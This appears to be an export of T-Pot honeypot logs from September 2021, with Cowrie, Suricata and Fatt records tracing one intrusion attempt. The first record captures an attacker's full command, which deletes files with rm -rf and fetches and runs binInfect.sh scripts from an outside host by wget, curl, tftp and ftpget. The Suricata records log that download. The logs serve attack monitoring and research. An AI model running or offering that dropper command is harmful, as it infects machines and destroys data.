19927	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:01:12.243923+03	2021-09-20 14:15:01.727651+03	{"_id": "8QXdAnwBvYTbRNuE9fUp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "input": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.command.input", "message": "CMD: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *", "session": "b4fdd90a76ab", "@version": "1", "timestamp": "2021-09-20T11:01:12.243923Z", "@timestamp": "2021-09-20T11:01:12.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19928	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:13.45062+03	2021-09-20 14:15:01.728643+03	{"_id": "8wXdAnwBvYTbRNuE9_Xk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/binInfect.sh", "length": 1987, "status": 200, "hostname": "betaalverzoek.ir", "protocol": "HTTP/1.0", "http_method": "GET", "http_user_agent": "Wget/1.11.4", "http_content_type": "application/x-sh"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1811155126933046, "@version": "1", "in_iface": "enp5s0", "src_port": 50400, "dest_port": 80, "timestamp": "2021-09-20T11:01:13.450620Z", "@timestamp": "2021-09-20T11:01:13.450Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
19929	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:13.811227+03	2021-09-20 14:15:01.729614+03	{"_id": "DwXdAnwBvYTbRNuE-_bP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/binInfect.sh", "length": 1987, "status": 200, "hostname": "betaalverzoek.ir", "protocol": "HTTP/1.0", "http_method": "GET", "http_user_agent": "curl/7.38.0", "http_content_type": "application/x-sh"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "TCP", "src_ip": "109.104.151.11", "dest_ip": "192.168.20.116", "flow_id": 265795829100709, "@version": "1", "fileinfo": {"md5": "05b215cc1fce4e08c4a5c5693e3bc2ec", "gaps": false, "size": 1987, "magic": "Bourne-Again shell script, ASCII text executable", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/binInfect.sh"}, "in_iface": "enp5s0", "src_port": 80, "app_proto": "http", "dest_port": 50402, "timestamp": "2021-09-20T11:01:13.811227Z", "@timestamp": "2021-09-20T11:01:13.811Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
19930	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:21.356363+03	2021-09-20 14:15:01.731642+03	{"_id": "IAXeAnwBvYTbRNuEF_Yr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16224, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2565, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 265106487339561, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 37911, "timestamp": "2021-09-20T11:01:21.356363Z", "@timestamp": "2021-09-20T11:01:21.356Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19931	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:21.701201+03	2021-09-20 14:15:01.732643+03	{"_id": "IQXeAnwBvYTbRNuEF_Yr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49075, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1608134170882833, "@version": "1", "in_iface": "enp5s0", "src_port": 48270, "dest_port": 53, "timestamp": "2021-09-20T11:01:21.701201Z", "@timestamp": "2021-09-20T11:01:21.701Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19932	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:21.703542+03	2021-09-20 14:15:01.733643+03	{"_id": "IgXeAnwBvYTbRNuEF_Yr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49075, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2565, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1608134170882833, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48270, "timestamp": "2021-09-20T11:01:21.703542Z", "@timestamp": "2021-09-20T11:01:21.703Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19933	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:01:21.408611+03	2021-09-20 14:15:01.734643+03	{"_id": "JAXeAnwBvYTbRNuEF_bG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34666, "dest_port": 443, "timestamp": "2021-09-20T11:01:21.408611", "@timestamp": "2021-09-20T11:01:21.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20229	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:58.907057+03	2021-09-20 14:15:02.122615+03	{"_id": "dAXeAnwBvYTbRNuEq_av", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9002, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 94731579610929, "@version": "1", "in_iface": "enp5s0", "src_port": 51742, "dest_port": 53, "timestamp": "2021-09-20T11:01:58.907057Z", "@timestamp": "2021-09-20T11:01:58.907Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19934	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:01:21.755753+03	2021-09-20 14:15:01.736643+03	{"_id": "LwXeAnwBvYTbRNuEG_aw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34668, "dest_port": 443, "timestamp": "2021-09-20T11:01:21.755753", "@timestamp": "2021-09-20T11:01:21.755Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19935	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:23.836801+03	2021-09-20 14:15:01.737642+03	{"_id": "NAXeAnwBvYTbRNuEIvbk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1066987618404666, "@version": "1", "in_iface": "enp5s0", "src_port": 38038, "dest_port": 69, "timestamp": "2021-09-20T11:01:23.836801Z", "@timestamp": "2021-09-20T11:01:23.836Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
19936	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:21.354857+03	2021-09-20 14:15:01.738613+03	{"_id": "HwXeAnwBvYTbRNuEF_Yq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16224, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 265106487339561, "@version": "1", "in_iface": "enp5s0", "src_port": 37911, "dest_port": 53, "timestamp": "2021-09-20T11:01:21.354857Z", "@timestamp": "2021-09-20T11:01:21.354Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19937	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:01:21.448455+03	2021-09-20 14:15:01.739642+03	{"_id": "IwXeAnwBvYTbRNuEF_bG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34666, "timestamp": "2021-09-20T11:01:21.448455", "@timestamp": "2021-09-20T11:01:21.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19938	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:01:21.799935+03	2021-09-20 14:15:01.741646+03	{"_id": "MAXeAnwBvYTbRNuEG_aw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34668, "timestamp": "2021-09-20T11:01:21.799935", "@timestamp": "2021-09-20T11:01:21.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19939	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:23.836801+03	2021-09-20 14:15:01.742642+03	{"_id": "MgXeAnwBvYTbRNuEIvbk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:13.821562+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 182, "bytes_toserver": 189}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1066987618404666, "payload": "AAFiaW5JbmZlY3Quc2gAb2N0ZXQA", "@version": "1", "in_iface": "enp5s0", "src_port": 38038, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:01:23.836801Z", "@timestamp": "2021-09-20T11:01:23.836Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
26313	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:11:20.401391+03	2021-09-20 14:15:13.108646+03	{"_id": "iAbnAnwBvYTbRNuEPB51", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22976, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1948418026512367, "@version": "1", "in_iface": "enp5s0", "src_port": 44775, "dest_port": 53, "timestamp": "2021-09-20T11:11:20.401391Z", "@timestamp": "2021-09-20T11:11:20.401Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19940	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:18.830196+03	2021-09-20 14:15:01.743643+03	{"_id": "GgXeAnwBvYTbRNuED_ZZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 8668, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 595, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 917911451379262, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 50692, "timestamp": "2021-09-20T11:01:18.830196Z", "@timestamp": "2021-09-20T11:01:18.830Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19941	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:19.00948+03	2021-09-20 14:15:01.744642+03	{"_id": "HQXeAnwBvYTbRNuED_Za", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:13.821562+0000", "pkts_toclient": 2, "pkts_toserver": 2, "bytes_toclient": 182, "bytes_toserver": 126}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1066987618404666, "payload": "RQAAMbNsQAAxEby/wKgUdG1olwuUlgBFAB073AABYmluSW5mZWN0LnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:01:19.009480Z", "@timestamp": "2021-09-20T11:01:19.009Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..1.l@.1......tmh.....E..;...binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
19942	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:23.835094+03	2021-09-20 14:15:01.746643+03	{"_id": "NQXeAnwBvYTbRNuEIvbk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 21050, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 579321999900182, "@version": "1", "in_iface": "enp5s0", "src_port": 51393, "dest_port": 53, "timestamp": "2021-09-20T11:01:23.835094Z", "@timestamp": "2021-09-20T11:01:23.835Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19943	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:24.014998+03	2021-09-20 14:15:01.747642+03	{"_id": "NgXeAnwBvYTbRNuEIvbk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:13.821562+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 273, "bytes_toserver": 189}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1066987618404666, "payload": "RQAAMbdMQAAxEbjfwKgUdG1olwuUlgBFAB073AABYmluSW5mZWN0LnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:01:24.014998Z", "@timestamp": "2021-09-20T11:01:24.014Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..1.L@.1......tmh.....E..;...binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
19944	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:23.836346+03	2021-09-20 14:15:01.748648+03	{"_id": "MwXeAnwBvYTbRNuEIvbk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 21050, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 590, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 579321999900182, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 51393, "timestamp": "2021-09-20T11:01:23.836346Z", "@timestamp": "2021-09-20T11:01:23.836Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19945	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:18.830655+03	2021-09-20 14:15:01.74965+03	{"_id": "GwXeAnwBvYTbRNuED_Za", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:13.821562+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 91, "bytes_toserver": 126}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1066987618404666, "payload": "AAFiaW5JbmZlY3Quc2gAb2N0ZXQA", "@version": "1", "in_iface": "enp5s0", "src_port": 38038, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:01:18.830655Z", "@timestamp": "2021-09-20T11:01:18.830Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
19946	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:18.82899+03	2021-09-20 14:15:01.750646+03	{"_id": "HAXeAnwBvYTbRNuED_Za", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 8668, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 917911451379262, "@version": "1", "in_iface": "enp5s0", "src_port": 50692, "dest_port": 53, "timestamp": "2021-09-20T11:01:18.828990Z", "@timestamp": "2021-09-20T11:01:18.828Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
